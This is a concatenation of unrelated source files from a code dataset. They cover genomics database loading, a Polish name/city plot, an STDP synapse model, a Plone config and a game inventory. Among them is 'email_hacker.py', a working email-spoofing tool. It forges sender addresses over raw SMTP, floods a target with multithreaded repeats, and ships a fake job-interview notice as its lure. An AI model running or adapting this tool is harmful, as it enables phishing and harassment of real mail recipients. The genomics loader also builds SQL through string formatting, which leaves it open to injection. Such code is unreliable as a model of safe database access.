interpro_id\n\n sql2 = 'insert into interpro.signature (signature_accession, signature_description, ' \\\n ' analysis_id, interpro_id, GO_terms, pathways) values (\"%s\", \"%s\", %s, %s, \"%s\", \"%s\")' % (signature_accession,\n signature_description,\n analysis_id,\n interpro_id,\n GO_terms,\n pathways)\n\n server.adaptor.execute(sql2,)\n server.adaptor.commit()\n sql = 'select signature_id from interpro.signature where signature_accession=\"%s\"' % signature_accession\n signature_id = server.adaptor.execute_and_fetchall(sql,)[0][0]\n # update dictionnary\n signature2signature_id[signature_accession] = signature_id\n\n start = data[6]\n stop = data[7]\n score = data[8]\n\n if analysis in ['Phobius', 'Coils', 'SignalP-TM', 'SignalP_EUK', 'ProSitePatterns', 'SignalP_GRAM_NEGATIVE', 'SignalP_GRAM_POSITIVE']:\n score = \"NULL\"\n\n for locus_tag in locus_tag_list:\n seqfeature_id = locus_tag2seqfeature_id[locus_tag]\n\n sql = 'INSERT INTO interpro.interpro_%s(seqfeature_id,' \\\n ' signature_id,' \\\n ' sequence_length, ' \\\n ' start, ' \\\n ' stop, ' \\\n ' score) ' \\\n ' values (%s, %s, %s, %s, %s, \"%s\");' % (db_name,\n seqfeature_id,\n signature_id,\n sequence_length,\n int(start),\n int(stop),\n score)\n try:\n server.adaptor.execute(sql)\n except:\n print(sql)\n print(data)\n import sys\n sys.exit()\n server.adaptor.commit()\n\n\ndef add_TM_and_SP_columns(db_name):\n\n server, db = manipulate_biosqldb.load_db(db_name)\n\n sql = 'ALTER TABLE orthology_detail_%s ADD COLUMN SP INT AFTER seqfeature_id;' % db_name\n server.adaptor.execute(sql,)\n sql = 'ALTER TABLE orthology_detail_%s ADD COLUMN TM BOOLEAN not null default 0 AFTER SP;' % db_name\n server.adaptor.execute(sql,)\n\n sql = 'select seqfeature_id, count(*) as n from interpro.interpro_%s t1 inner join interpro.signature t2 on t1.signature_id=t2.signature_id inner join interpro.analysis t3 on t2.analysis_id=t3.analysis_id where analysis_name=\"Phobius\" and signature_accession=\"TRANSMEMBRANE\" group by seqfeature_id;' % db_name\n sql2 = 'select seqfeature_id, count(*) as n from interpro.interpro_%s t1 inner join interpro.signature t2 on t1.signature_id=t2.signature_id inner join interpro.analysis t3 on t2.analysis_id=t3.analysis_id where analysis_name=\"Phobius\" and signature_accession=\"SIGNAL_PEPTIDE\" group by seqfeature_id;' % db_name\n\n seqfeature_id2TM = server.adaptor.execute_and_fetchall(sql,)\n for row in seqfeature_id2TM:\n sql = 'update orthology_detail_%s set SP=%s where seqfeature_id=%s' % (db_name, 1, row[0])\n server.adaptor.execute(sql,)\n seqfeature_id2signal_peptide = server.adaptor.execute_and_fetchall(sql2,)\n for row in seqfeature_id2TM:\n sql = 'update orthology_detail_%s set TM=%s where seqfeature_id=%s' % (db_name, row[1], row[0])\n server.adaptor.execute(sql,)\n\n server.commit()\n\n\ndef interpro2biosql_legacy(server,\n seqfeature_id2locus_tag,\n locus_tag2genome_taxon_id,\n protein_id2genome_taxon_id,\n locus_tag2seqfeature_id,\n protein_id2seqfeature_id,\n seqfeature_id2organism,\n db_name,\n seqfeature_id2orthogroup,\n hash2locus_list,\n *input_files):\n import re\n from pandas import read_csv\n '''\n 1. Protein Accession (e.g. P51587)\n 2. Sequence MD5 digest (e.g. 14086411a2cdf1c4cba63020e1622579)\n 3.. equence Length (e.g. 3418)\n 4. Analysis (e.g. Pfam / PRINTS / Gene3D)\n 5. Signature Accession (e.g. PF09103 / G3DSA:2.40.50.140)\n 6. Signature Description (e.g. BRCA2 repeat profile)\n 7. Start location\n 8. Stop location\n 9. Score - is the e-value of the match reported by member database method (e.g. 3.1E-52)\n 10. Status - is the status of the match (T: true)\n 11. Date - is the date of the run\n 12. (InterPro annotations - accession (e.g. IPR002093) - optional column; only displayed if -iprscan option is switched on)\n 13. (InterPro annotations - description (e.g. BRCA2 repeat) - optional column; only displayed if -iprscan option is switched on)\n 14. (GO annotations (e.g. GO:0005515) - optional column; only displayed if --goterms option is switched on)\n 15. (Pathways annotations (e.g. REACT_71) - optional column; only displayed if --pathways option is switched on)\n :param input_file:\n :return:\n '''\n\n sql = 'CREATE TABLE biosqldb.interpro_%s (accession VARCHAR(100),' \\\n ' locus_tag VARCHAR(200), ' \\\n ' organism VARCHAR(400), ' \\\n ' taxon_id INT,' \\\n ' sequence_length INT, ' \\\n ' analysis VARCHAR(100) NOT NULL, ' \\\n ' signature_accession VARCHAR(100), ' \\\n ' signature_description TEXT, ' \\\n ' start INT, ' \\\n ' stop INT, ' \\\n ' score VARCHAR(20) NOT NULL, ' \\\n ' interpro_accession varchar(400) NOT NULL, ' \\\n ' interpro_description TEXT,' \\\n ' GO_terms TEXT,' \\\n ' pathways TEXT,' \\\n ' orthogroup varchar(400),' \\\n ' seqfeature_id INT)' % db_name\n print(sql)\n server.adaptor.execute(sql)\n\n sql_template = 'INSERT INTO biosqldb.interpro_%s' % db_name\n sql_template += ' (accession, locus_tag, organism, taxon_id,' \\\n ' sequence_length, analysis, signature_accession, signature_description, start, ' \\\n ' stop, score, interpro_accession, interpro_description, GO_terms, pathways, orthogroup, seqfeature_id) ' \\\n ' values (\"%s\", \"%s\", \"%s\", %s, %s, \"%s\", \"%s\", \"%s\", %s, %s, \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", %s);'\n\n for n, one_interpro_file in enumerate(input_files):\n print(one_interpro_file)\n with open(one_interpro_file, 'r') as f:\n tsvin = read_csv(f, sep='\\t', error_bad_lines=False, names=[\"accession\",\n \"MD5\",\n \"sequence_length\",\n \"analysis\",\n \"signature_accession\",\n \"signature_description\",\n \"start\",\n \"stop\",\n \"score\",\n \"status\",\n \"date\",\n \"interpro_accession\",\n \"interpro_description\",\n \"GO_terms\",\n \"pathways\"])\n tsvin = tsvin.fillna(0)\n\n for i in range(len(tsvin['accession'])):\n\n data = list(tsvin.loc[i,:])\n for index, item in enumerate(data):\n if type(item) == str:\n data[index] = item.replace('\\\"','')\n\n accession = data[0]\n\n sequence_length = data[2]\n analysis = data[3]\n signature_accession = data[4]\n signature_description = data[5]\n start = data[6]\n stop = data[7]\n score = data[8]\n\n\n interpro_accession = data[11]\n interpro_description = data[12]\n GO_terms = data[13]\n pathways = data[14]\n\n for locus_tag in hash2locus_list[accession]:\n\n try:\n taxon_id = protein_id2genome_taxon_id[locus_tag]\n seqfeature_id = protein_id2seqfeature_id[locus_tag]\n except KeyError:\n taxon_id = locus_tag2genome_taxon_id[locus_tag]\n seqfeature_id = locus_tag2seqfeature_id[locus_tag]\n organism = seqfeature_id2organism[str(seqfeature_id)]\n\n orthogroup = seqfeature_id2orthogroup[str(seqfeature_id)]\n sql = sql_template % (locus_tag,\n locus_tag,\n organism,\n taxon_id,\n sequence_length,\n analysis,\n signature_accession,\n signature_description,\n int(start),\n int(stop),\n str(score),\n interpro_accession,\n interpro_description,\n GO_terms,\n pathways,\n orthogroup,\n seqfeature_id)\n try:\n server.adaptor.execute(sql)\n except:\n print(sql)\n print(data)\n import sys\n sys.exit()\n if n % 10 == 0:\n print(\"Commit\", n)\n server.adaptor.commit()\n\n sql1 = 'create index lc ON biosqldb.interpro_%s (locus_tag)' % biodb\n sql2 = 'create index ana ON biosqldb.interpro_%s (analysis)' % biodb\n sql3 = 'create index tx ON biosqldb.interpro_%s (taxon_id)' % biodb\n sql4 = 'create index og ON biosqldb.interpro_%s (organism)' % biodb\n sql5 = 'create index ac ON biosqldb.interpro_%s (accession)' % biodb\n sql6 = 'create index sf ON biosqldb.interpro_%s (seqfeature_id)' % biodb\n sql7 = 'create index ia ON biosqldb.interpro_%s (interpro_accession)' % biodb\n sql8 = 'create index sa on biosqldb.interpro_%s(signature_accession);' % biodb\n server.adaptor.execute(sql1)\n server.adaptor.execute(sql2)\n server.adaptor.execute(sql3)\n server.adaptor.execute(sql4)\n server.adaptor.execute(sql5)\n server.adaptor.execute(sql6)\n server.adaptor.execute(sql7)\n server.adaptor.execute(sql8)\n server.adaptor.commit()\n\n\nif __name__ == '__main__':\n import argparse\n from chlamdb.biosqldb import manipulate_biosqldb\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", '--input_interpro', type=str, help=\"input interpro csv file\", nargs='+')\n parser.add_argument(\"-d\", '--database_name', type=str, help=\"database name\")\n #parser.add_argument(\"-v2\", '--v2_table', action=\"store_true\", help=\"create V2 table\")\n parser.add_argument(\"-a\", '--add_SP_TM', action=\"store_true\", help=\"Add Ssignal Peptide and TM counts to orthology_detail table\")\n parser.add_argument(\"-u\", '--hash2locus_tag', type=str, help=\"Tab separated file with correspondance between sequence hashes and locus tags\")\n parser.add_argument(\"-l\", '--legacy_table', action=\"store_true\", help=\"Create legacy table in biosqldb\")\n\n args = parser.parse_args()\n\n biodb = args.database_name\n server, db = manipulate_biosqldb.load_db(biodb)\n\n if args.hash2locus_tag:\n import chlamdb_setup_utils\n hash2locus_list = chlamdb_setup_utils.get_hash2locus_list(args.hash2locus_tag)\n\n if args.input_interpro:\n if not args.legacy_table:\n print(\"creating locus_tag2seqfeature_id\")\n sql = 'select locus_tag, seqfeature_id from annotation.seqfeature_id2locus_%s' % biodb\n locus_tag2seqfeature_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n print(\"make table v1\")\n interpro2biosql(server,\n hash2locus_list,\n locus_tag2seqfeature_id,\n biodb, *args.input_interpro)\n\n else:\n print(\"creating locus_tag2seqfeature_id\")\n locus_tag2seqfeature_id = manipulate_biosqldb.locus_tag2seqfeature_id_dict(server, biodb)\n\n print(\"creating protein_id2seqfeature_id\")\n protein_id2seqfeature_id = manipulate_biosqldb.protein_id2seqfeature_id_dict(server, biodb)\n\n print(\"getting seqfeature_id2organism\")\n seqfeature_id2organism = manipulate_biosqldb.seqfeature_id2organism_dico(server, biodb)\n\n print(\"creating locus_tag2taxon_id dictionnary...\")\n locus_tag2genome_taxon_id = manipulate_biosqldb.locus_tag2genome_taxon_id(server, biodb)\n\n print(\"creating protein_id2taxon_id dictionnary...\")\n protein_id2genome_taxon_id = manipulate_biosqldb.protein_id2genome_taxon_id(server, biodb)\n\n print(\"getting seqfeature_id2locus_tag\")\n seqfeature_id2locus_tag = manipulate_biosqldb.seqfeature_id2locus_tag_dico(server, biodb)\n\n sql = 'select name,interpro_id from interpro.entry'\n interpro_accession2interpro_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n\n '''\n print(\"make table v2\")\n interpro2biosqlV2(server,\n hash2locus,\n interpro_accession2interpro_id,\n seqfeature_id2locus_tag,\n locus_tag2genome_taxon_id,\n protein_id2genome_taxon_id,\n locus_tag2seqfeature_id,\n protein_id2seqfeature_id,\n seqfeature_id2organism,\n biodb, *args.input_interpro)\n '''\n\n sql = 'select seqfeature_id,orthogroup_name from orthology.seqfeature_id2orthogroup_%s t1 inner join orthology.orthogroup_%s t2 on t1.orthogroup_id=t2.orthogroup_id' % (biodb, biodb)\n seqfeature_id2orthogroup = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n\n interpro2biosql_legacy(server,\n seqfeature_id2locus_tag,\n locus_tag2genome_taxon_id,\n protein_id2genome_taxon_id,\n locus_tag2seqfeature_id,\n protein_id2seqfeature_id,\n seqfeature_id2organism,\n biodb,\n seqfeature_id2orthogroup,\n hash2locus_list,\n *args.input_interpro)\n if args.add_SP_TM:\n add_TM_and_SP_columns(args.database_name)\n","sub_path":"db_setup/chlamdb-load-interproscan.py","file_name":"chlamdb-load-interproscan.py","file_ext":"py","file_size_in_byte":31628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"256769511","text":"import numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\n\r\nimiona=[]\r\nmiasta=[]\r\nimiona2=[]\r\nmiasta2=[]\r\ncount =[]\r\nfile=open('wynik.txt')\r\nfor line in file:\r\n (m,i,c)=(line.split('|'))\r\n imiona.append(i)\r\n miasta.append(m)\r\n count.append(c)\r\n\r\nimiona2 = imiona.copy()\r\nmiasta2 = miasta.copy()\r\n\r\nfor i in range(len(imiona2)): # usuniecie powtorek\r\n indeks=0\r\n if(not i>=len(imiona2)):\r\n for j in range(len(imiona2)):\r\n if imiona2[i] == imiona2[j]:\r\n indeks = j\r\n break\r\n if i!=indeks:\r\n for k in range(i,len(imiona2)):\r\n if k+1= len(miasta2)):\r\n for j in range(len(miasta2)):\r\n if miasta2[i] == miasta2[j]:\r\n indeks = j\r\n break\r\n if i!=indeks:\r\n for k in range(i,len(miasta2)-1):\r\n if miasta2[k]!=miasta2[k+1]:\r\n miasta2[k]=miasta2[k+1]\r\n else:\r\n miasta2 = np.delete(miasta2,k+1)\r\n break\r\n else:\r\n miasta2 = np.delete(miasta2,-1)\r\n break\r\n\r\nx_imiona=[]\r\nx_miasta=[]\r\nx_count=np.zeros((len(imiona),len(miasta)))\r\n\r\nprint(len(imiona2),len(miasta2),len(count))\r\n\r\nfor i in range(len(imiona2)): # policzenie dlugosci osi\r\n x_imiona=np.append(x_imiona,i)\r\nfor i in range(len(miasta2)):\r\n x_miasta=np.append(x_miasta,i)\r\n\r\nprint(len(x_imiona),len(x_miasta))\r\nfor i in range(len(imiona)):\r\n indeks=0\r\n for spr in range(len(imiona2)): # sprawdzenie czy nie ma wczesniej danego imienia\r\n if imiona[i]==imiona2[spr]:\r\n indeks=spr\r\n break\r\n for j in range(len(miasta)):\r\n indeks2=0\r\n for spr2 in range(len(miasta2)): # sprawdzenie czy nie ma wczesniej danego miasta\r\n if miasta[j] == miasta2[spr2]:\r\n indeks2 = spr2\r\n break\r\n if i==j:\r\n x_count[indeks][indeks2]=count[i]\r\n\r\nx_count2=np.zeros((len(imiona2),len(miasta2)))\r\nfor i in range(len(imiona)):\r\n if i \")\n except Exception as e:\n Print(str(e), threshold=0, color=u\"red\", sign=u\"=> \")\n return 0\n return 1\n\n def Recv(self, check=u\"\", threshold=1):\n try:\n data = [i.decode(u\"utf8\") for i in self.sk.recv(1024).split(b\"\\r\\n\") if i]\n assert data\n except AssertionError:\n if not check:\n Print(u\"recv empty answer\", threshold=0, color=u\"red\", sign=u\"<= \")\n return (0, u\"recv empty answer\")\n except Exception as e:\n if not check:\n Print(str(e), threshold=0, color=u\"red\", sign=u\"<= \")\n\n return (0, str(e))\n\n if check and check not in data[-1]:\n return (0, data[-1])\n\n if any([i for i in range(400, 600) if data[-1][:3] == str(i)]):\n Print(data[-1], threshold=0, color=u\"red\", sign=u\"<= \")\n return (0, data[-1])\n\n for result in data:\n Print(result, threshold=threshold, color=u\"green\", sign=u\"<= \")\n\n return (1, data[-1])\n\n def Attack(self, snum):\n global succ_num, failed_num, quit_flag, threads_alive\n\n while quit_flag and self.quit_flag:\n check_connect = self.Connect()\n if not check_connect[0]:\n Print(u\"creating connection failed: \"+u\"I just got the answer: '%s' from %s\" % (check_connect[1], self.SMTP_addr),\n threshold=0, color=u\"red\", sign=u\"[X]\", flag=0)\n self.sk.close()\n failed_num += 1\n\n if crazy_mode:\n continue\n else:\n break\n\n Print(u\"now, all ready\", sign=u\" [*]\")\n Print(u\"using spam attack\", sign=u\"[+]\")\n if not (self.Send(u\"ehlo antispam\") and self.Recv()[0]):\n failed_num += 1\n if crazy_mode:\n continue\n else:\n break\n\n while quit_flag and self.quit_flag:\n if not (self.Send(u\"mail from:<%s>\" % self.from_addr) and self.Recv()[0]) or\\\n not (self.Send(u\"rcpt to:<%s>\" % self.to_addr) and self.Recv()[0]) or\\\n not (self.Send(u\"data\") and self.Recv()[0]):\n # self.sk.close()\n failed_num += 1\n if not crazy_mode:\n self.quit_flag = 0\n continue\n\n if self.Send(u\"to: %s\" % self.to_addr) and\\\n self.Send(u\"from: %s\" % self.from_addr) and\\\n self.Send(u\"subject: 完美世界 2019 校园招聘\") and\\\n self.Send(u\"\") and\\\n self.Send(\n u\"同学你好\\r\\n感谢你对完美世界校园招聘的关注,面试时间暂定为 9月20日 下午两点。如有疑问欢迎邮件交流~\\r\\n在茫茫宇宙中,在浩瀚银河里,有一个可以任你挥洒的世界,大家都抱着纯粹初心背负梦想前行,在这里,激情无限,跟志同道合的伙伴热血拼搏。在这里,秉持热爱,把梦想变成现实。在这里,精益求精,定义下一代未知的惊喜!\\r\\n.\"\n ):\n result = self.Recv(threshold=0, check=u\"250\")\n if result[0]:\n succ_num += 1\n else:\n Print(result[1], threshold=0, color=u\"red\", sign=u\"<= \")\n failed_num += 1\n else:\n failed_num += 1\n\n if not crazy_mode:\n self.quit_flag = 0\n else:\n sleep(random.random()*1.5)\n\n Print(u\"all done\", sign=u\" [*]\")\n threads_alive[snum] = 0\n return self.sk.close()\n\n\ndef PutColor(string, color):\n colors = {\n u\"gray\": \"2\",\n u\"red\": \"31\",\n u\"green\": \"32\",\n u\"yellow\": \"33\",\n u\"blue\": \"34\",\n u\"pink\": \"35\",\n u\"cyan\": \"36\",\n u\"white\": \"37\",\n }\n\n return u\"\\033[40;1;%s;40m%s\\033[0m\" % (colors[color], string)\n\n\ndef Print(string, threshold=2, color=u\"gray\", sign=u\" [-]\", flag=1):\n if verbose < threshold:\n return\n\n str_color = u\"gray\" if color == u\"gray\" else u\"white\"\n string = PutColor(sign, color)+PutColor(string, str_color)\n if verbose > 1 and threshold < 2 and flag:\n string = \" [-]\"+string\n\n if Lock.acquire():\n print(string)\n Lock.release()\n\n\ndef DNSQuery(to_addr):\n resolver = dns.resolver.Resolver()\n resolver.timeout = 3\n resolver.lifetime = 3\n\n Print(u\"query MX of DNS for %s\" % to_addr, sign=u\"[+]\")\n\n try:\n SMTP_addr = b'.'.join(dns.resolver.query(\n to_addr[to_addr.find(u\"@\")+1:], u'MX')[0].exchange.labels).decode(u\"utf8\")\n assert SMTP_addr != u\"\"\n except Exception as e:\n Print(u\"query MX of %s failed: \" % to_addr + str(e),\n threshold=0, color=u\"red\", sign=u\"[X]\", flag=0)\n return 0\n\n Print(u\"success\", sign=u\" [*]\")\n return SMTP_addr\n\n\ndef Launcher(multi_num):\n if 0 < multi_num < 2:\n client = FakeEmail(to_addr, from_addr, SMTP_addr)\n client.Attack(0)\n else:\n threads = []\n for i in range(multi_num):\n client = FakeEmail(to_addr, from_addr, SMTP_addr=SMTP_addr)\n t = threading.Thread(target=client.Attack, args=(i,))\n t.start()\n threads.append(t)\n\n if not crazy_mode:\n for t in threads:\n t.join()\n\n\ndef quit(signum, frame):\n global quit_flag\n\n quit_flag = 0\n while any(threads_alive) and threads_num != 1:\n pass\n\n print(u\"\\n%s %s\" % (PutColor(u\"[*]success:\", u\"green\"), succ_num))\n print(u\"%s %s\\n\" % (PutColor(u\"[!]failed:\", u\"red\"), failed_num))\n print(PutColor(random.choice([\n u\"Goodbye\", u\"Have a nice day\",\n u\"See you later\", u\"Bye\",\n u\"Farewell\", u\"Cheerio\",\n ]), u\"white\"))\n sys.exit()\n\n\nsucc_num = 0\nfailed_num = 0\nquit_flag = 1\nsignal.signal(signal.SIGINT, quit)\nsignal.signal(signal.SIGTERM, quit)\nparser = argparse.ArgumentParser()\nparser.add_argument(u\"-faddr\", u\"--from_address\", help=u\"fake from address\", required=True)\nparser.add_argument(u\"-taddr\", u\"--to_address\",\n help=u\"the address you want to delivery\", required=True)\nparser.add_argument(u\"-tnum\", u\"--threads_num\",\n help=u\"how many threads you want\", default=1, type=int)\nparser.add_argument(u\"-v\", u\"--verbose\", help=u\"verbose level\", default=-1, type=int)\nparser.add_argument(u\"-c\", u\"--crazy_mode\",\n help=u\"Keep sending fake email (** Use with caution **)\", default=0, type=int)\nargs = parser.parse_args()\n\nfrom_addr = args.from_address\nto_addr = args.to_address\nthreads_num = args.threads_num if args.threads_num > 0 else 1\nverbose = args.verbose\ncrazy_mode = args.crazy_mode\nthreads_alive = [1]*threads_num\n\nLock = threading.Lock()\nif verbose == -1:\n verbose = 0 if (threads_num > 1 or crazy_mode) else 1\nelse:\n if (threads_num > 1 or crazy_mode) and verbose:\n Print(u\"It's not recommended to enable output(let verbose>1) in multi-threaded mode, change it to 0(let verbose=0)?\",\n color=u\"yellow\", threshold=0, sign=u\"[!]WARNING: \")\n if vars(__builtins__).get('raw_input', input)(u\" [-]type no/[yes]: \") != \"no\":\n verbose = 0\n Print(u\"as you wish\\n\", color=u\"white\", threshold=0, sign=u\" [*]\")\n else:\n Print(u\"in a mess, of course\\n\", color=u\"yellow\", threshold=0, sign=u\" [!]\")\n\nSMTP_addr = DNSQuery(to_addr)\n\nif SMTP_addr:\n Launcher(threads_num)\n\nif crazy_mode and threads_num != 1:\n while 1:\n pass\n\nquit(0, 0)\n","sub_path":"email_hacker.py","file_name":"email_hacker.py","file_ext":"py","file_size_in_byte":9124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"516292182","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/collective/signableevent/config.py\n# Compiled at: 2011-07-29 07:55:08\n\"\"\"Common configuration constants\n\"\"\"\nPROJECT_NAME = 'collective.signableevent'\nADD_PERMISSIONS = {'EventSignup': 'collective.signableevent: Add EventSignup', \n 'SignableEvent': 'collective.signableevent: Add SignableEvent'}\nSKINS_DIR = 'skins'\nGLOBALS = globals()\nCONFIGLETS = (\n {'id': 'signableevents', 'name': 'Export CSV', \n 'action': 'signableevents_allsigned_csv', \n 'condition': '', \n 'category': 'Products', \n 'visible': 1, \n 'appId': PROJECT_NAME, \n 'permission': 'Manage portal', \n 'imageUrl': 'event_signup_icon.png'},)","sub_path":"pycfiles/collective.signableevent-0.8.0-py2.7/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"652141864","text":"import math\n\n\nclass STDP(object):\n \"\"\"STDP synapse plasticity.\n\n Represents a STDP Hebbian 'learning' rule.\n h = last_postsynaptic_spike - last_presynaptic_spike\n if working_time_window[0] > abs(h) or abs(h) > working_time_window[1]:\n delta w = 0.\n elif h >= 0.:\n delta w = w_plus * exp(-h / tau_plus)\n else:\n delta w = - w_minus * exp(h / tau_minus)\n w += delta w\n if w > weight_max: w = weight_max\n if w < weight_min: w = weight_min\n\n Attributes:\n weight: Current weight of this synapse.\n weight_min, weight_max: Allowed minimum and maximum weight.\n tau_plus, tau_minus: Defines length of effect of spike on synapse.\n w_plus, w_minus: How much synapse changes with spike.\n working_time_window: Time window, where STDP has effect.\n last_presynaptic_spike, last_postsynaptic_spike: Read names of\n attributes again.\n spike_pairing = 0: What spike pairing rule should be used. Availaible\n values: 0, 2. Represent types (a) and (c) respectively from\n Abigail Morrison, Markus Diesmann, Wulfram Gerstner. 2008.\n Phenomenological models of synaptic plasticity based on spike\n timing. Biological Cybernetics 98:6, 459-478.\n Figure 7.\n \"\"\"\n\n def __init__(self):\n \"\"\"Inits an STDP synapse with default parameters.\"\"\"\n self.weight_max = 1.\n self.weight_min = 0.\n self.weight = 0.5\n self.tau_plus = 20.\n self.tau_minus = 20.\n self.w_plus = 0.3\n self.w_minus = 0.3105\n self.working_time_window = [2., 60.]\n self.spike_pairing = 0\n self.reset()\n\n def reset(self):\n \"\"\"Sets last_presynaptic_spike and last_postsynaptic_spike to -1000.\"\"\"\n self.last_presynaptic_spike = -1000.\n self.last_postsynaptic_spike = -1000.\n\n self._spike_pairing_2_can_pre = True\n self._spike_pairing_2_can_post = True\n\n def spike_pairing():\n doc = \"Type of spike pairing. See STDP help for more info.\"\n\n def fget(self):\n return self._spike_pairing\n\n def fset(self, value):\n if value == 0:\n self.presynaptic_spike = self._presynaptic_spike_0\n self.postsynaptic_spike = self._postsynaptic_spike_0\n elif value == 2:\n self.presynaptic_spike = self._presynaptic_spike_2\n self.postsynaptic_spike = self._postsynaptic_spike_2\n self._spike_pairing_2_can_pre = True\n self._spike_pairing_2_can_post = True\n else:\n raise ValueError(\"Wrong spike pairing type.\")\n self._spike_pairing = value\n return locals()\n spike_pairing = property(**spike_pairing())\n\n def _presynaptic_spike_0(self, time):\n \"\"\"Processes presynaptic spike according to pairing scheme 0.\"\"\"\n self.last_presynaptic_spike = time\n if self.w_minus > 0.:\n h = self.last_postsynaptic_spike - self.last_presynaptic_spike\n if (-self.working_time_window[1] <= h\n <= -self.working_time_window[0]):\n self.weight = max(\n self.weight_min,\n self.weight - self.w_minus * math.exp(h / self.tau_minus))\n return self.weight\n\n def _postsynaptic_spike_0(self, time):\n \"\"\"Processes postsynaptic spike according to pairing scheme 0.\"\"\"\n self.last_postsynaptic_spike = time\n if self.w_plus > 0.:\n h = self.last_postsynaptic_spike - self.last_presynaptic_spike\n if self.working_time_window[0] <= h <= self.working_time_window[1]:\n self.weight = min(\n self.weight_max,\n self.weight + self.w_plus * math.exp(-h / self.tau_plus))\n return self.weight\n\n def _presynaptic_spike_2(self, time):\n \"\"\"Processes presynaptic spike according to pairing scheme 2.\"\"\"\n self.last_presynaptic_spike = time\n if self.w_minus > 0. and self._spike_pairing_2_can_pre:\n h = self.last_postsynaptic_spike - self.last_presynaptic_spike\n if (-self.working_time_window[1] <= h\n <= -self.working_time_window[0]):\n self.weight = max(\n self.weight_min,\n self.weight - self.w_minus * math.exp(h / self.tau_minus))\n self._spike_pairing_2_can_pre = False\n self._spike_pairing_2_can_post = True\n return self.weight\n\n def _postsynaptic_spike_2(self, time):\n \"\"\"Processes postsynaptic spike according to pairing scheme 2.\"\"\"\n self.last_postsynaptic_spike = time\n if self.w_plus > 0. and self._spike_pairing_2_can_post:\n h = self.last_postsynaptic_spike - self.last_presynaptic_spike\n if self.working_time_window[0] <= h <= self.working_time_window[1]:\n self.weight = min(\n self.weight_max,\n self.weight + self.w_plus * math.exp(-h / self.tau_plus))\n self._spike_pairing_2_can_post = False\n self._spike_pairing_2_can_pre = True\n return self.weight\n\n def presynaptic_spike(self, time):\n \"\"\"Processes presynaptic spike.\n\n Args:\n time: Time of the arriving of spike to the synapse.\n\n Returns:\n Weight of the synapse.\n \"\"\"\n pass\n\n def postsynaptic_spike(self, time):\n \"\"\"Processes postsynaptic spike.\n\n Args:\n time: Time of the excitation of postsynaptic neuron.\n\n Returns:\n Weight of the synapse.\n \"\"\"\n pass\n","sub_path":"python/2014.10/kostya/server/simsimpy/synapse/stdpsyn.py","file_name":"stdpsyn.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"652632043","text":"def _get_hero(user_id):\n _hero = db.get_hero(user_id)\n text = _hero['nick']\n text += '\\n|❤️' + str(_hero['hp'])\n text += '|🏆' + str(_hero['rating'])\n text += '\\n|🗡' + str(get_atk(user_id))\n text += '|🛡' + str(get_def(user_id))\n text += '\\n|💰' + str(_hero['gold'])\n text += '|💎 | 🍕' + str(_hero['diamond'])\n return text\n\ndef get_hero(user_id):\n _hero = db.get_hero(user_id)\n text = '👤' + _hero['nick']\n text += '\\n❤️{hp} 🏆{rating}'.format(**_hero)\n text += '\\n🀄️{lvl} 💡{exp}/{new_exp}'.format(**_hero)\n text += '\\n🗡{} 🛡{}'.format(get_atk(user_id), get_def(user_id))\n text += '\\n💰{gold} 💎{diamond} 🍕{pizza}'.format(**_hero)\n\n _new_rating = (get_atk(user_id) / 2) + (get_def(user_id) / 10) + (int(_hero['hp']) / 10)\n text += '\\n🥽' + str(_new_rating)\n\n return text\n\n\ndef i_hero_inventory(user_id):\n _inventory = db.get_inventory(user_id)\n button = None\n if len(_inventory) == 0:\n text = ('В вашем инвентаре пусто')\n send_message(user_id, text, button)\n return\n else :\n text = 'В вашем инвентаре : '\n button = []\n _potion = {}\n for all in _inventory:\n if all[0] == 'head':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.head[all[1]][0] \n if int(equip.head[all[1]][1]) > 0:\n text += ' 🛡' + str(int(equip.head[all[1]][1]))\n if int(equip.head[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.head[all[1]][2]))\n elif all[0] == 'body':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.body[all[1]][0]\n if int(equip.body[all[1]][1]) > 0:\n text += ' 🛡' + str(int(equip.body[all[1]][1]))\n if int(equip.body[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.body[all[1]][2]))\n elif all[0] == 'legs':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.legs[all[1]][0]\n if int(equip.legs[all[1]][1]) > 0:\n text += ' 🛡' + str(int(equip.legs[all[1]][1]))\n if int(equip.legs[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.legs[all[1]][2]))\n elif all[0] == 'mask':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.mask[all[1]][0]\n if int(equip.mask[all[1]][1]) > 0:\n text += ' 🛡' + str(int(equip.mask[all[1]][1]))\n if int(equip.mask[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.mask[all[1]][2]))\n elif all[0] == 'gun':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.gun[all[1]][0]\n if int(equip.gun[all[1]][1]) > 0:\n text += ' 🛡' + str(int(equip.gun[all[1]][1]))\n if int(equip.gun[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.gun[all[1]][2]))\n elif all[0] == 'shand':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.shand[all[1]][0]\n if int(equip.shand[all[1]][1]) > 0:\n text += ' 🛡' + 